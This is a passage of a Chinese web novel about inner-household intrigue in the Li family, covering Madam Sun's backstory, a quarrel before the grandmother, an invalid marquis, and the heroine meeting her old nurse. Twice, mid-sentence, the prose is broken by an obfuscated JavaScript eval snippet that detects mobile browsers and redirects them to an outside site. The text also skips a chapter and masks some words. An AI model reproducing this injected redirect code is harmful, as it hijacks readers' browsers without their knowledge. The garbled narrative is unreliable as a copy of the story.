当初的孙大娘子还是寄人篱下的孙姑娘,父亲乃是九品县丞,多年仕途无望,母亲早逝,家里小妾当家,没有她的立足之地,她寄居舅舅家,被家中同辈欺负,也是常事。 那天李珺看到的,就是孙大娘子舅舅家里的两个女儿正刁难她,非让她寒冬腊月跳到水里去捡掉下去的钗子。 李珺当时听到的时候,就心中大为震惊,再看到那个傻姑娘居然真的往水里跳进去,去找那个钗子,顿时大为惊讶,只是他作为外男不可久留,到底是只能离去,后来回去之后却一直记得这事,心中只觉得这姑娘实在是可怜。 但是只是因此,李珺却也不会与这姑娘结缘。 直到李珺去流云台寺为发妻续长明灯的香油钱,再次遇到了孙姑娘。 孙姑娘这回更可怜了,身上一身单薄旧衫,跟在舅母身边,不像是借居的亲戚,倒像是个丫鬟一般,忙前忙后地提东西张罗,看着辛酸。 李珺当时看她入水之后没生病,心中只觉得怜悯却也稍稍放心,除此之外没想太多。 却没想到孙姑娘却是真的太苦了,李珺在寺里散步到角落,突然听到熟悉的呼救声,他闻声过去,刚好看到孙姑娘被一个男子拉着往厢房里去。 李珺定睛一看,那男子竟然是孙家的表少爷! 那人出名的贪花好色,显然是逮住机会,竟然想欺辱孙姑娘! 李珺当时看不过去,大怒走过去斥责这个表少爷,救了孙姑娘。 那表少爷见被人撞破,又是官宦,臊眉耷眼地跑了,留下孙姑娘呆了半晌,等到李珺上前发问,才像是一个激灵清醒过来,嚎啕大哭。 李珺心中怜她身世可怜,不忍离去,一直安慰。 孙姑娘虽相貌普通,但是到底青春年少,也有几分楚楚可怜的风姿,让李珺心中益发有了点英雄救美的豪情。 两人也是因此事有了些交际,一下午聊下来,李珺发现孙姑娘平日看着木讷,其实却是个温柔大度的人,舅母一家如此待她,她也不恨,反而在李珺试探时,总说起舅母与堂姐妹们对她好的地方。 只说到那表少爷的时候,有些害怕而已。 李珺当时心中猜测,这表少爷,怕是孙姑娘舅母故意安排的。 这登徒子名声太差,已经找不到同龄闺秀,寄人篱下的孙姑娘自然也就成了最好的对象。 只有这傻姑娘不明白自己是被设计了,还在自己面前努力说舅母的好话,又说了自己以后要躲着点那个表少爷,等表少爷走了就好了。 她大概不知道,不出意外的话,她应当是躲不过这个表少爷的。 想到这里,李珺对孙姑娘的怜悯到了巅峰。 于是等到孙姑娘泪眼婆娑又有点不好意思地自卑说起“我真羡慕关娘子,能嫁给您这样的有才学的人,换成是我,便是让我只再活一年就死,我这辈子也值得了。”时,李珺心中对她的怜悯与豪情瞬间一动,一下子变了个味道。 一个闺秀,能说出这样的话,已经是胆大包天,几乎已经是在明确地对李珺表达倾慕。 “你不会出事的。”李珺当时那一瞬间,突然就心中下定了决心,他决定,娶这位孙姑娘当做续弦。 这里面有很大的因素,是因为当时李珺与上峰的观念并不合,他心中并不想与上峰关系太密,且其他家的姑娘他也考量过,一则怕容不下婉玉这个女儿,二则又怕容不下崔妙人母女。 如此左右思考,在这一瞬间,李珺觉得孙姑娘是个非常好的人选。 她性子敦厚,如此遭遇,只怕更能理解崔小娘的不易,也更能考虑到发妻留下来的女儿的处境。 原本是一时冲动,李珺却事后越想越觉得,此事极好。孙姑娘竟是他目前处境与考量里,最好的一个人选。 当然,被一个妙龄的闺阁少女暗自倾慕,甚至还如此仰慕地看着,让李珺实在无法看着这个姑娘走向绝路,也是最大的原因。 其他的姑娘不嫁给他还有很多好出路,但是孙姑娘若是没有他,只怕这辈子再没好日子过了。 这样想着,李珺心中愈发下定了决心。 而后他看着孙姑娘诧异地瞪大眼睛,而后看着自己的表情,似乎理解到了什么之后,一瞬间脸上飞起的红霞,害羞地低下头,露出一大截雪白的脖颈。 李珺一直记得那个画面,记得流云台寺后院厢房廊下的孙姑娘,那是他为数不多为孙姑娘心动的瞬间。 那个孙姑娘,质朴、憨厚、温顺又带着自卑可怜,被自己回应之后的狂喜与一串串落下来的泪珠,像是一颗颗地敲在了心上。 此刻李珺看着孙大娘子,想到成婚那日,温厚的孙姑娘后来被他娶回家,虽是正妻,本可以穿正红,但是孙姑娘却穿的是一身稍稍偏深红的嫁衣。 “我知我远不如关娘子,知道夫君娶我,亦是出于怜惜。我心中感激,日后必定日日侍奉,绝不逾矩。”温厚的孙姑娘含泪笑着对他说,“我会永远把关娘子当姐姐,初一十五,定当日日进香,逢年过节,绝不敢忘。” 李珺当时心中的怜爱与感动变成了震撼,他未曾想到孙姑娘居然温厚至此,竟能在女儿家最重视的大婚之日,都如此礼让一个不在世之人。 哪个女儿家不想成婚时穿着大红嫁衣出嫁? 可是她居然穿着妾室一般的嫁衣出嫁,只为了礼让不在世的发妻。 李珺知道她温厚,却不知道她竟然敦厚大度到了如此地步,与她进门之前母亲强令自己把家里的账本与女儿婉玉的教导都得挪到自己的房里去的戒备相比,更是愈发显出差别。 而且其后孙姑娘变成了孙大娘子,进门十几年,一直保持住了这份敦厚大度,纵然李珺并不常去她那里,有了婉淑与辰瑜之后,就更是益发只把她当了个摆设。 但是孙大娘子却从不抱怨,家里事事打点妥当不说,每月管家大小事,从人情往来到账本,从来都是与李珺交代得清清楚楚,一心带孩子,把婉淑也教导得很好,几乎是人人称赞。 而现在十几年过去,她还是以前的样子,看着温厚,又不太会为自己分辩,这种时候,任谁都要为自己匆忙说一百个理由来,她却依然只会哭,仿佛当年在流云台寺后山的厢房廊下哭着看自己的姑娘。 李珺突然看到了跪在地上的孙大娘子额头有了几缕白发,夹着额角的血,显得那么刺眼。 他的盛怒一下子消散的干净,脑中迅速划过这些年种种相处,猛地心中反而涌出一股懊悔和怆然来。 李珺心中冷静下来,看孙大娘子眼圈通红,也是不知为何鼻子发酸,然后沉默一下,说:“婉淑那几个朋友,尤其是那周丽娘,他家那个续弦是武将出身,女儿也养的性情娇纵跋扈,叫婉淑日后别老和她来往。不然好好一个姑娘,生生被带坏了!” 孙大娘子闻言,知道这一关熬过来了,她心中猛地松了一口气,面上却纹丝不动,只含着泪水看着李珺问:“老爷,你不疑心是我与淑儿说了什么吗?” 李珺听她这么说,更为内疚,轻声说:“我知道你不是这样的人,我方才……也是气糊涂了,对不住你。” “你不疑心是我说了什么就好。”孙大娘子含着泪笑着摇头,一边拿手帕擦泪一边轻声说,“当年流云台寺,夫君你跟我是我不会出事儿,没几天媒人上门,那时候我就跟自己发誓,这辈子,夫君就是我的大恩人,是救我出火坑的恩人……只要夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183307|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君你不赶我,我这辈子都要跟着你,好好侍候你,帮你打点家里。” 她这话说的李珺心中愧意更甚,到底是陪伴自己多年的妻子,李珺也觉得今日自己实在是太冲动鲁莽一些,放低了声音小声安抚孙大娘子,又叫周妈妈去请郎中上门,这一番忙活完才匆匆摆了晚膳,稍微吃了一点,李珺就干脆歇在了东院。 两人晚上说起当年的岁月,又让李珺想到了当年孙姑娘的样子,又加上感念她十几年如一日的温柔大度,倒是难得重温旧梦。 一场风波,到头来不但让孙大娘子化为无形,甚至还让冷淡许久的夫妻关系更和睦了。 李家平静下来,竟是却有人家,正在说起李家的事情。 当先就是周家。 “你这个蠢货!”周丽娘的阿娘一回来就听嬷嬷说了白日事情,她气得拍桌怒骂,“我一直跟你说,那李婉淑不是个省油的灯!你这个猪脑子,今儿是她和她娘**李婉玉出了丑,你巴巴去给人帮忙算是个什么事儿?” “我又没说错!本来就是李婉玉她混账!”周丽娘却不甘示弱,委屈地大吼,“她还冤枉我呢!阿娘你都不帮我说话!” “我帮你说个屁的话!你听听你自己说的是人话啊?什么叫人家阿娘死的早?这话换我听了也想打死你!”周丽娘的阿娘怒吼。 “反正阿娘就是不喜欢我,嫌弃我蠢!”周丽娘一听,也是大怒,立刻哭喊一声,转身立刻跑走。 “你——”周丽娘的阿娘气的重重跌坐在凳子上,气的一直揉心口,对着乳母哭喊:“妈妈,我这是做的什么孽啊,养出这么个蠢驴子来!” “姑娘还小,娘子你耐心些慢慢教吧。”乳母也只能苦笑着劝,低声劝慰,“娘子,如今之计还是得想办法,可别叫大姐儿和哥儿心里记恨,跟您离了心,老爷那边,也得赶紧先去说说……” 周娘子神色一凛,恨恨地说:“你说的是。李家那个小贱种,拿我女儿当枪使就算了,还惹的我家宅不宁,你去,叫人把二姑娘关屋子里,不许随便出去!她如今年纪也不小,是该看亲事了,别叫她找机会又去李家!” 乳母一愣,轻声迟疑地问:“那二姑娘与李家大郎的事情……” “别再说了!”周娘子皱眉,冷声说,“原先是想着丽娘自个儿喜欢,李家瞧着是兴旺之家,那李家大郎虽是庶出,到底会读书,家里小姑还是手帕交,丽娘嫁过去总归吃不了苦……如今妈妈你瞧瞧,哪一样对路了?” 乳母立刻点头,赞同地说:“娘子顾虑的是,李家怕不是外甜内苦呢!” 不只是周家,白日不少人都见了李家的风波,好几家都暂时歇了家中女儿与李家两个小郎君相看的心思。 除了这些人家,有一处也在说起关怀素。 “爷,今儿个您不在时,赵二郎一直在拉着太子殿下看李大姑娘。”夜里,白日跟着的侍卫禀告,“赵二郎还特地说李大姑娘善音律,太子若是想听,可以招她奏乐。” 来福正给周乐天脱外裳,周乐天神色冷厉,说:“他怎敢如此!” 他大怒之下,杀气逼人,只是下一刻,周乐天就捂住心口,跌坐在榻上。 “爷,我的爷啊!您现在可不能这么发火,快、快拿救心丹来!”一旁的来福看周乐天如此发火,顿时吓得翻出救心丹塞到周乐天口里。 浓浓的人参味儿溢满口腔,周乐天颤抖的手指才稳定下来。 “他们都算计着,只想先弄个孩子出来,好承载他们的野心与谋划。”周乐天冷声说完,扶着胸口,苦笑说:“罢了,连舅舅都不管,我来生气又有何用?” “侯爷息怒,殿下并不感兴趣,还斥责了赵二郎扫兴,便歇了话头。”那侍卫看侯爷气得差点发病,生怕出事,连忙说。 “这话你不早说?你诚心气我们爷啊!”来福气得大怒,恨不得上前踹这侍卫一脚。 侍卫连忙磕头,连声说:“侯爷赎罪,是小人口拙!” “罢了,无事就好。”周乐天挥手,疲惫地思考了一会儿。 他很想为信任自己的弟弟做些什么,可是……周乐天闭了闭眼睛,最后只能叹了口气,吩咐:“给太子殿下传个信,就说我今日身子尚可,他若是想出门,定要叫我。” 这便是,昔日能领十万大军驰骋杀敌的他,如今唯一能做的事情了。 周乐天看着自己的右手,愣愣出神。 侍卫领命离开,来福见到自家爷突然伸手想握住桌上的砚台。他用力一抬,砚台离开桌面,来福还没来得及喜悦,下一刻那砚台就落在桌上,铺开的纸上溅开了满纸墨渍。 周乐天看着自己的手,愣愣地说:“来福……我这只手,曾能挥动八十斤**的。” 如今却连一块厚实些的墨砚都拿不起来了。 “爷……”来福心中大痛,眼泪瞬间落下,哽咽说,“爷,您别想了……您别想了……太医说了,您这身子,再不能思虑伤身了啊……” 来福痛哭之中,这人心浮动的一夜,终于落下了最后的尾声。 第三十二章 各人筹谋 第二天一大早,李家东院喜气洋洋。 孙大娘子亲**伺候着李珺换了衣衫赶去上朝,周妈妈忍了一晚上的笑容才怒放出来。 “还是大娘子有本事!”周妈妈伺候着给孙大娘子挑配衣衫的首饰,笑着说,“不但化解风波,还得了老爷心疼。” “先别忙着笑。”孙大娘子脸上也是光彩照人,虽然如此说,脸上却也带着笑容,不知是在叮嘱周妈妈还是跟自己说,“今儿还不知道西院那边会不会拿这个事情去老夫人那边嚼舌根,若是大姑娘还想拿这事儿说话,且还有的磨人。” “哼,她今儿若是巴巴再拿这事儿说,说不得反而招老爷烦心。什么事儿都拿去外头说,也不嫌弃人家看笑话!”周妈妈说完,又笑着说,“老爷是念旧情的人,但也不是只她有旧情,这些年娘子你辛辛苦苦,老爷不也看在眼里么?” 这话说得孙大娘子通身舒畅,脸带笑容。 但是她到底是个谨慎人,因此只笑着说:“好了,别多说了。不过你说得对,她若是真要找事,刚好也杀杀她近日的气焰。” 说到后面这两句,孙大娘子脸上的笑容没了,换成了隐约的怒意。 因为昨儿虽哄好了老爷,但是宴会上被人笑话,回来后又哭又跪,额头上的伤口还在隐痛。而这些,都是怪那继女牙尖嘴利,才惹出这一场风波,孙大娘子恨恨地想着,轻声说:“就看崔妙人怎么起哄架秧子了。” 一大早,众人在老夫人处请安。 崔妙人天没亮就已经伺候在老夫人这里,众人见礼坐下,寒暄了一会,崔小娘猛地说起昨儿的宴会来:“老祖宗,听说昨儿赵家赏花宴太子爷也去了,好生热闹呢!” “是,太子听说赵大人得了一株稀罕的紫色重瓣五层塔菊花,特地带了人来观赏。”孙大娘子心想“来了”,面上只笑着说,“我也看到了,那花确实漂亮,开的碗口一般大不说,细看花瓣上洒了银霜一般带着光,真正是漂亮!” 老夫人一听,立刻露出向往之色,说:“哎呀,听你这么一说,果然是稀罕,我竟也没见过开得这么好的紫菊。” “对啊,不知大姑娘昨儿可看到了?”崔小娘突然把话题引向了正在出神的关怀素。 关怀素笑着摇头说:“我见那地方人多,就没进去看,倒是没有眼福。” 崔小娘立刻就露出笑容,轻声说:“大姑娘可是昨儿与三姑娘吵嘴,才没心情去看紫菊?” 她这话一问,老夫人立刻皱眉问:“怎地在人家家里吵起来了吗?” 婉蓉等着呢,立刻绘声绘色把昨儿的事情说了。 “荒唐!”老夫人听到这里,气的就看着婉淑骂,“你这是说的什么话?什么叫玉丫头过得差全赖她娘死的早?你这话给别人听到,别人如何想我们家,如何想你和你娘?如何想辰瑜?!” 老夫人十分关切李辰瑜这个嫡子,说到最后一句时,明显地带着紧张和怒意。 关怀素听到这里,明白了崔妙人的意思。 崔妙人想拿此事做筏子,与她打个配合,让老夫人惩罚婉淑,最好父亲下值后责罚一下大娘子与婉淑最妙。 但是关怀素却不打算接招,只沉默听着。 可老夫人呵斥完婉淑,又对关怀素说:“玉丫头,一家子姐妹,同气连枝、荣辱与共,日后你心里若觉得不舒服,切记别在外头说,回来我或你爹,自有家里长辈与你出头,女儿家何苦牙尖嘴利,让外人看着,倒显得自己不容人了。” 关怀素本来没打算说话,因觉得是白费工夫,可听到老夫人还倒打一耙,她登时气笑了。 关怀素笑问:“祖母的意思是,日后若是再遇到有人说我娘早逝,我活该过苦日子,我就应该笑着点头答应,说您说的是?” “我不是这个意思!”老夫人口舌并不灵巧,往日不过是仗着李婉玉温柔听话,如今换成关怀素,几句话就气的老夫人脑仁痛。 老夫人忍气说,“我是说你在外头人多的时候,有些事情不用太过计较,女儿家温厚才好!” “祖母快别说温厚了。昨儿大姐姐还在夫人们面前说,祖母您不许大姐姐罚下人,连下人偷窃钱财也不许惩罚呢!”婉淑被祖母没头没尾训斥一番,心里憋着气,此刻听到这里,想着自己不好过,大姐姐也不能过得快活,于是干脆把关怀素昨儿在众夫人面前说的话都抖露出来。 她说完,老夫人本来只是有些生气烦心,再仔细一听,知道全京师都知道她干的事儿,顿时气得差点一个倒仰! “好啊,我辛辛苦苦把你拉扯大,没有功劳也有苦劳,你在外头竟就是这么编排我的……”老夫人气得不行,指着关怀素气的全身发抖,破口大骂,“早知如此,当初我就不该把你养在我面前,我这些年虽对你严厉了些,但是也都是为了你好,却没想到忙来忙去,生生养出一个仇人来!” 说完,老夫人拍着膝盖,眼泪瞬间就流出来。 老夫人说的话极重,若是关怀素不道歉请罪,就活生生坐实了不孝。 孙大娘子母女与崔小娘母女都看着关怀素,所有人都是一个意思,等着关怀素向老夫人请罪。 毕竟孝比天大,老夫人作为祖母被孙女气哭,怎么说都是关怀素的错。 “倒是我的错了。”关怀素起身行礼,对老夫人说,“当日我只是随口说了一句祖母仁慈,母亲也特地解释了,说祖母因为信佛,从不肯随意惩戒下人……句句都是大实话,并无编排祖母的意思,不知为何却让祖母觉得我是在把您当仇人?祖母若是觉得婉玉哪儿说的不对,还请祖母示下,日后婉玉绝对不会再犯。若是仅仅因为婉玉不小心说错话而说婉玉不孝,那婉玉年纪小,可当不起这么大的罪名。” 说是道歉,但是关怀素说话声音不卑不亢,一点也没道歉的意思。 而且她的话里意思很明确,老夫人哭着说她不孝,到底是因为什么?是因为说了老夫人在家里要求她对下人宽和,不许惩戒偷窃的下人吗? 可是这可是老夫人这些年亲口要求的。 若是老夫人因为她说出去而哭泣,说关怀素编排她、不孝顺,可问题是,这不就等于是老夫人自己承认了,这些年她所作所为是错的,是在故意打压这个大孙女,所以才害怕外人知道? 这话一下子问到了点子上,老夫人的哭声瞬间戛然而止,她哑口无言。 关怀素看向婉淑,冷声说:“还是三妹妹觉得祖母训诫是错的,我在外头如实以告是在编排祖母?” 这话一下子让婉淑也哑口无言。 她心里当然觉得祖母这样做是错误的,可是问题是婉淑她当然也不能承认,于是整个场面顿时一静。 “大姐姐说的对!”婉蓉乐的火上浇油,立刻起身扶起老夫人,一副义愤填膺的样子说,“本就是三妹不该在外头带着朋友胡说八道欺负大姐姐,这会儿倒是拿祖母说事儿了!”又拉着老夫人的手撒娇:“祖母,你可别因为这个生气,不值当的!” 老夫人正不知如何下台,婉蓉解局,老夫人便拍了拍婉蓉的手,一副欣慰的样子,轻声说:“蓉儿孝顺。” 又对众人叹气,一副意态萧索的样子说:“我年纪大了,许多事情也不想管了,外头怎么编排我也无所谓,反正也没几年好活了。” 孙大娘子立刻起身行礼,说:“母亲何故说这等不吉之言,是我没教导好婉淑,叫婉玉受委屈,带累了您,一切都是媳妇的错。” 孙大娘子这一番话,站在主母的立场上揽下一切事情,便是一直对她冷淡的老夫人也十分满意,点点头,只留了崔小娘和婉蓉,叫其他人自去。 众人便请安出来。 出门后,孙大娘子笑着对关怀素说:“婉玉,你三妹妹年纪小一些,性子憨直,你这个姐姐不要与她一般计较。” “母亲言重了。”关怀素垂眸恭敬行礼,礼仪挑不出一丝毛病,一派温和地回答,“婉玉是长姐,怎会与妹妹一般计较。” “你一直都是如此懂事,让人放心。”孙大娘子温声笑着说完,转身带着婉淑一路回去。 她转过身就沉下了脸。 婉淑是孙萍手把手悉心教导,行事城府虽比不上她当年,但也是一干闺秀里心思沉静的,没想到如今却在一贯受气包的婉玉身上一再受挫。 不但一点便宜没占到,且还连续几次碰了一鼻子灰。 可见关怀远当初在庄子上留下的后手果然厉害,短短半年竟让人脱胎换骨了! 孙大娘子恨恨地想,也是,当年名满天下的人物,定然是筹谋甚远。 可恶,早知道,当初就应该极力阻止婉玉被送去庄子! 孙大娘子沉着脸带着女儿进了院子,一进屋,憋了一路的婉淑委屈的眼圈瞬间红了,带着哭腔喊:“阿娘,你方才怎么不帮我,还给大姐姐告罪,明明不是我的错,是大姐姐故意曲解我的意思……” “你竟还在纠葛谁对谁错!”孙大娘子听到婉淑这么开口,顿时也急了,说,“争出对错有什么用?你能不能跟你大姐姐学学?!” “我跟她学什么?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183308|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉淑本就委屈,听阿娘这么一说,本来强忍住的眼泪瞬间夺眶而出,哭着说,“阿娘,你也觉得是我的错吗?” 孙大娘子被她哭得本身就疼的脑袋更是头疼,她扶额,一时气地捂着心口,竟不知道怎么说话。 “哎哟姑娘啊,你先歇歇,你先听娘子怎么说啊!”周妈妈吓得不行,立刻上前给孙大娘子顺气,刚巧外头丫头进来送朝食,周妈妈立刻便说,“姑娘,昨儿晚上大娘子还想着你受委屈了,特地吩咐今日一定要做些温补的给你养养身子。” 周妈妈指着那才摆上桌、香气四溢的面,说:“姑娘你看看,大娘子昨儿半夜吩咐下去,厨房连夜用老母鸡、猪骨并鲫鱼、山菌吊的高汤,今日厨下又是一大早特地用鸡蛋揉出来的龙须面,还专门沥了油,保证补身子又不腻,姑娘你想想,这天下里,除了自个儿亲娘,谁能做到如此地步啊?” 婉淑看着八仙桌上摆着的那碗面,龙须面细如发丝,上面摆着几颗脆嫩的小青菜,闻着鲜香却一丝油腻气息也无,她心中感动,看阿娘气得厉害,也知道自己不对,立刻上前拉阿娘的手道歉:“阿娘,我方才也是气到了,并不是埋怨阿娘的意思。淑儿不懂事,阿娘你教我!” 孙大娘子被她这么拉着手撒娇,自己亲骨肉,哪里真能生气?她也冷静下来,叹了口气,说:“也是我着急了,你大姐姐眼看着半年竟厉害了这么多,叫我担心。” 她拍了拍婉淑,心中知道,此事不能责怪婉淑。 婉淑毕竟与她当年不同,当年她一着不慎就会坠入万丈悬崖,而婉淑有底气,有自己这个阿娘照顾,一路顺风顺水,没遇到事情尚可,遇到了自然不会处置。 得慢慢教。 孙大娘子想到这里,暗暗吐了口气,才温声对婉淑说:“你看看你大姐姐,往日她可曾被冤枉?她以前是怎么做的,如今又是怎么做的?” 婉淑冷静下来,仔细想阿娘的话,才突然惊讶地说:“大姐姐以前被冤枉,都是哭,后面这几年哭都不哭了,只知道安静请罪,不敢一丝不恭敬。” “那这几日她如何做的?”孙大娘子见女儿反应过来,立刻循循善诱。 “大姐姐不解释,而是直接反击,哪怕面对祖母也是如此,且还让人找不到不对的地方。”婉淑有些惊恐地说,“阿娘,大姐姐不可能这么厉害吧?她之前明明……” 之前明明那么口笨舌拙的一个人啊! “你以为你大姐姐的外祖父是什么人物?”孙大娘子叹了口气,说,“你们年纪小不知道,当初关老先生其实曾是当今圣上的半个老师,只是关老先生不爱教导皇女皇子,自请去的工部。” 婉淑还真不知道这样的往事,她一直以自己身份比姐妹们高贵为傲,素日还以为大姐姐只是个丧母孤女,却没想到竟比她强数百倍不止。 她不敢置信看着阿娘,孙大娘子低声对她说:“此事你心里知道就好,不要到处去说,当年关娘子是下嫁,你爹爹并不喜欢家里有人说起这事儿。” 然后她说完又说:“当初关老爷子门生满天下,他那一脉弟子又出名的性情耿直中正,也不知道是哪位,居然能隐姓埋名在庄子上过这些年……”感叹了一瞬,孙大娘子压低声音说,“总之你大姐姐如今不比以前,你可千万千万别拿以前的那样子和她说话了!” “阿娘,大姐姐如此厉害,那万一二哥哥看上她了怎么办啊?!”婉淑想清楚之后,到底是闺阁女儿,立刻便想到了自己最关心的意中人的事儿。 “不怕!”孙大娘子这会儿跟婉淑说话之中,也逐渐头脑清楚,此时已经完全想清楚办法,拿起茶杯喝了一口,气定神闲地对婉淑说,“她如今再厉害,也是个未出阁的女儿,日后你不但不要与你大姐姐置气,反而要对她和气一些。” 叮嘱完,孙大娘子说:“到年关之前,我定然把你大姐姐的事儿定下来就是了。” 一个女子,到底不是男儿,惹不出什么大风浪,一份嫁妆嫁出去,再聪明,嫁的低些,这辈子也翻不出什么风浪了。 自己也是在后宅顺风顺水惯了,这一大早的,竟然也真的为一个继女闹的头疼,真是不该。 孙大娘子这么想着,已经彻底恢复了往日智珠在握、气定神闲的模样。 而婉淑听到母亲的话,想了一下,一大早的浮躁也慢慢褪去,而后人也慢慢稳重下来,对母亲点头说:“阿娘教导的是,婉淑明白了。” 看到一场小口角下来,身上微微的浮躁也褪去的女儿,孙大娘子立刻露出了欣慰的笑容。 第三十四章 会面 关怀素完全不知道一番话给二人听到,她一下午安安稳稳地看着书。 到了第二日一早,果然便听说太子回府了。 太子这贵客一走,山上的小道童看着都松快起来,大早上来送早膳的时候说话声音都大了些。 关怀素便去了地藏殿,亲手给母亲的长明灯添香油,又亲手施粥,忙完已经到了下午。 想着收到信的钟妈妈和师兄也快到了,关怀素便大家伙儿都自去逛逛,她带着柳叶自行消遣。 如此安排好,她在寺庙大殿的榕树下站着,假作是在赏玩风景,实则等人。 就在这个时候,周乐天咳嗽着出来透气,来福扶着他轻声说:“爷,要不我去打听一下,昨日咱们隔壁厢房投宿的是哪家姑娘?” 这个世界上,来福只怕是最了解自家爷的人。 昨儿看到侯爷听隔壁闺秀说完那番话,来福一看便知道,只怕是自家爷对墙那头的佳人心动了。 太医一再叮嘱他们家侯爷小心养着身体,否则怕会有损寿数,但是自家爷却不管不顾,瞧着竟是没把自己的命当一回事。 来福真的希望爷能有个上心的人,好歹能叫爷觉得活着还有些滋味儿。 他有这一番心思,便一门心思想撺掇自家爷,却没想到周乐天生气地说:“此话以后不许再提!” 看来福茫然的样子,周乐天心知来福没考虑那么多,只一心为自己打算,心中一软,耐心地给他解释说:“你当爷如今是什么人物?不过是个叛国小人,人人得而诛之,也就是靠着皇祖母,才能苟延残喘罢了。” 他说到这里,连声露出一抹自嘲的讥笑。 “谁说的!”来福不忿地说,“那明明就是陷害,爷您是顶天立地的大英雄!再说、再说爷您看上谁,谁还敢拒绝不成?” “你说得对,若叫人知道我有一点心思,陛下和皇祖母都绝不会允许有人拒绝。”周乐天说,“可正是因为如此,你才不可妄言。那姑娘德行上佳,日后自有自己的好去处,不可叫我这个废人耽搁了。” 他如此说,来福心中悲伤又替自家爷愤愤不平。 两人正说着话,转道出来,便看到门口院子树下,穿着鹅黄色绣花比甲的关怀素静静站在那里。 周围道长们从她身边路过,身边是寺庙里传来的晨钟暮鼓之声,秋风萧瑟,单单她静立在下午和煦的日光里,如画中人一般。 “李大姑娘……其实很漂亮啊。”来福瞪大眼睛,压低声音轻声说,“丝毫不逊色名满京师的闺秀呢!” “胡说什么!不可随便谈论人家女儿家!”周乐天轻斥完,微微蹙眉,有些担忧地说,“我瞧着她这**来,显见是清楚许多了……哎,可惜我如今也是个废人,便是旧人之后,也不过能嘴巴上维护几句罢了。” 说到这里,周乐天神色瞬间黯淡下来。 来福生怕他伤心,连忙压低声音说:“爷,到时辰了,咱们给兄弟们要上香添香油了!” 这是他们留在寺里还没回京的原因,因此来福一说,周乐天便立刻转身,一路往供牌位的地藏殿去了。 而另一边,关怀素眼睛一亮,终于等到了风尘仆仆赶来的师兄与钟妈妈。 几人在袇房相见,门一关,钟妈妈就左看右看,而后眼圈红了,说:“姑娘怎地瘦了这么多!” “妈妈……”算来已经足足三个多月不曾见到钟妈妈,关怀素自己一个人的时候,平八仙庄之乱、入李家后宅、与郡主对峙都怡然不惧,但是此刻看到自小带着自己长大的妈妈,才仿佛一下子从杀伐决断的大人又变成了任性的小孩儿一般,呜咽着抱住钟妈妈,积累的痛苦和委屈如洪水一般瞬间决堤。 又怕人家听到,只能压低声音,如受伤的小兽一般对钟妈妈哭着喊:“妈妈,我的姐姐**,我才知道有个亲姐姐,结果姐姐就**,妈妈……” “哎、哎,妈妈知道,妈妈知道……”钟妈妈的眼泪也跟着小河一般往下淌,哭着摸着关怀素的头发说,“妈妈知道,姑娘和娘子一样,都是重情的性子,姑娘难受,妈妈知道,妈妈都知道……” 两人抱头痛哭一番,像是要把近日的担忧、恐惧与压力全都融在哭声里一般,旁边的柳叶与孙文书都忍不住红了眼眶。 痛痛快快地哭完一场,才终于有心情说起别的事儿。 “姑娘,我听说大姑娘临终前,说发现小姐的死不对,可是真的,大姑娘**而死又是怎么回事?”钟妈妈憋了许久,如今见面,终于一股脑问起来。 关怀素便把所有事情都说了,最后说:“那卖山货的,我回京前便叫人去查了,他们行事虽然谨慎,但是雁过留影,总不能滴水不漏,多寻摸一些,总归是有消息的。前些日子传来消息,说有几个外乡人曾经在几十里外住过几天,顺着这条线,我就让他继续在查,总归能把人揪出来!” 说到这里,钟妈妈便含泪点头,说:“姑娘安排得十分好,总归把背后人揪出来,血债血偿!” 说到这里,钟妈妈脸上露出了煞气。 关怀素说:“至于阿娘的事情,年月太久,我没什么头绪。但是想着先从姐姐身边伺候的丫鬟下人查起,一个个把李家下人梳理干净了,总归能找到些办法。妈妈可曾记得阿娘在李家的事情,有什么要提点我的吗?” 钟妈妈闻言,立刻说:“我急慌慌地上京,也是为了这事儿。如今李家家里是谁在当家?当初娘子身边伺候的亲近人,如今在李家有多少?” 说着,钟妈妈便连忙报了好几个名字,柳叶听完,摇头说:“丁妈妈在家里打点一圈了,全没听过这些人。” 钟妈妈愕然,又问了几个人,竟又是一个都没有。 她悚然而惊,说:“竟一个关家下人都不在了?” 一时之间,屋里四人一时不寒而栗。 “我原先只有五分怀疑娘子死因有问题,如今看起来,竟只怕有八分不对劲了!”钟妈妈眼泪长流,说,“可怜娘子一心信了李珺,到头来竟所托非人……” “母亲别哭了,如今还是要快些将李家诸人性情说给师妹清楚,否则师妹一人在李家,怕要吃亏啊!”孙文书见阿娘忙着哭,立刻着急地催促母亲。 钟妈妈闻言,立刻振作起来,一擦脸,连声说:“是、是我老糊涂了!” 说着她抓住关怀素的手,连声说:“姑娘,我也不知道谁会想置娘子和大姑娘于死地,但是当初娘子在时,与老夫人最为不睦!” 说着,钟妈妈便把当初关娘子下嫁之后,李老夫人动辄索要钱财的事情一一说出来,又说:“老夫人爱好奢华排场,非金器不用,每日光饭食花费一二十两都是常事,便是如此奢靡,娘子也从不计较。只是老夫人后来狮子大开口,竟在娘子怀胎之后,要求娘子把全副嫁妆交由她来管理……” “荒唐!”关怀素闻言,忍不住惊的脱口而出,“说破天也没这个道理去!” 